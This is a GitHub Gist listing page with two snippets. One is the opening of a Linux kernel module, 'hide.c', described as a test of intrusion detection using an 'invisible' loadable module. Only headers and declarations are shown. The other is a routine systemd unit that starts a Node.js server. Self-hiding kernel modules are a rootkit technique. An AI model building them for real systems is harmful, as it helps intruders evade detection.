Skip to content

Instantly share code, notes, and snippets.

@slashdevsda
slashdevsda / hide.c
Created May 28, 2014 17:30
Testing IDS with "invisible lkm"
/* tested on Linux 3.14
*
*/
#include <linux/kernel.h>
#include <linux/rculist.h>
#include <linux/moduleloader.h>
static LIST_HEAD(modules);
#define MODULE_NAME "module"
@slashdevsda
slashdevsda / gist:5858233
Created June 25, 2013 12:58
basic systemd unit for nodeJS, using forever. with mongodb dep.
[Unit]
Description=Start Node.js Service
Requires=network.target mongodb.service
After=network.target
[Service]
Type=forking
WorkingDirectory=/srv/node/
ExecStart=/usr/bin/forever start --pidFile /srv/node/nodeserialskiller.pid /srv/node/server.js
ExecStop=/usr/bin/forever stop /srv/node/server.js